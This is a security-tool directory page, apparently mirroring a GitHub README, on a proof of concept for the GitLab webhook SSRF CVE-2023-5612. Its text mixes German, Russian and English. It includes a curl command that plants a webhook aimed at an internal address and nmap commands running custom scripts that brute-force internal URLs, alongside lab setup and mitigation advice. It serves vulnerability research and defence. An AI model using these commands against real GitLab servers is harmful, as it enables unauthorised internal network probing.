Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Review.CVE-2023-5612 — Proof-of-Concept und Analyse für CVE-2023-5612, eine GitLab CE/EE Webhook-SSRF. Enthält curl-PoC-Schritte und benutzerdefinierte NSE-Skripte zum Verifizieren und Brute-Forcing interner URLs. | Kitploit
Tools/GitHubGitHub/constantinefedorov/review.cve-2023-5612
SchwachstellenscannerNetzwerkkartierungSchwachstellenanalyseExploitationWebsicherheitPenetrationstestsRed Teaming
GitHubconstantinefedorov/review.cve-2023-5612

Review.CVE-2023-5612

Proof-of-Concept und Analyse für CVE-2023-5612, eine GitLab CE/EE Webhook-SSRF. Enthält curl-PoC-Schritte und benutzerdefinierte NSE-Skripte zum Verifizieren und Brute-Forcing interner URLs.

Repository anzeigen
3vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2023-5612 – GitLab SSRF über Webhook-URL (PoC & Analyse)

📌 CVE-Überblick

  • CVE-ID: CVE-2023-5612
  • Schweregrad: Hoch (CVSS: 8.1 Base Score)
  • Typ: Server-Side Request Forgery (SSRF)
  • Komponente: GitLab CE/EE Webhooks
  • Betroffene Versionen: GitLab CE/EE < 16.2.7, 16.3 < 16.3.4, 16.4 < 16.4.1

🧠 Beschreibung

Eine SSRF-Schwachstelle in GitLab CE/EE ermöglicht es Angreifern mit gültigem Project-Maintainer-Zugriff, präparierte Anfragen über bösartige Webhook-URLs an beliebige interne Dienste zu senden. Die Ausnutzung führt zu internem Netzwerk-Scanning, Metadaten-Leakage oder weiterem Pivoting.


✅ Exploit-Bedingungen

  • У злоумышленника есть maintainer-доступ к проекту
  • GitLab не имеет жесткой фильтрации или валидации URL-хуков

⚙️ PoC-Schritte (Manuell)

curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
     --data-urlencode "url=http://127.0.0.1:8888" \
     http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks

🧱 Umgebung & Setup

- Kali Linux внутри виртуальной машины, развернутой специально под тестирование
- Поднятый через Docker экземпляр уязвимого GitLab CE (порт 8080)
- Внутри GitLab:
- Создан тестовый проект
- Сгенерирован Personal Access Token (glpat-...) с правами Maintainer
- Для внутреннего SSRF-таргета был поднят минимальный HTTP-сервис на 127.0.0.1:8888

🧠 Methodik

- Подтверждение уязвимости вручную через curl (см. PoC)
- Создание кастомных NSE-скриптов:
gitlab-ssrf.nse: точечная проверка SSRF
gitlab-ssrf-brute.nse: автоматический перебор внутренних адресов
- Тестирование с nmap -d и --script-trace, для анализа поведения API и фиксации результатов
- Получение отклика 401 Unauthorized от внутреннего сервиса, что указывает на успешный SSRF
- Успешный запрос вернет `201 Created` либо ошибку вида `401 Unauthorized`, что указывает на SSRF-доступ.

🛠 NSE-Skript (Manueller Auslöser)

nmap -p 8080 \
  --script ./gitlab-ssrf.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

🧪 NSE-Skript (Bruteforce interner URLs)

nmap -p 8080 \
  --script ./gitlab-ssrf-brute.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

📈 Fazit

В ходе работы над уязвимостью **CVE-2023-5612** был воспроизведён успешный SSRF-атакующий сценарий с доступом к внутренним адресам через API GitLab CE. Это демонстрирует, насколько важно ограничивать возможности вебхуков и внедрять валидацию URL-адресов на стороне сервера.

🎯 Ziel erreicht:

  • SSRF bestätigt
  • NSE-Toolkit implementiert
  • Projekt dokumentiert und für die Community geöffnet

📂 Repo-Struktur

.
├── gitlab-ssrf.nse             # NSE script for manual SSRF verification
├── gitlab-ssrf-brute.nse       # NSE brute script to scan internal hosts/ports
├── screenshots/                # Скрины выполнения PoC и подтверждения уязвимости
└── README.md                   # Этот файл

🖼 Screenshots

  • ✅ Успешный SSRF с возвратом 401 Unauthorized
  • 📜 Логи nmap c отработкой скрипта
  • 📦 Добавление вебхука через API

⚠️ Mitigation

  • Upgrade GitLab to >= 16.2.7 / 16.3.4 / 16.4.1
  • Ограничить outbound HTTP через egress firewall
  • Использовать internal allow-lists для вебхуков

🧠 Autor & Kontakt

Pavel Topskiy
GitHub • Security Analyst, Red Team Analyst


📅 Zeitplan

  • June 2025: Анализ PoC и уязвимости
  • 5 июня 2025: Написание кастомного NSE-скрипта и тестов

🔐 Disclaimer

All testing was done in isolated lab environments on intentionally vulnerable versions. Do not use this against unauthorized systems. Respect ethical hacking principles.

Tool herunterladen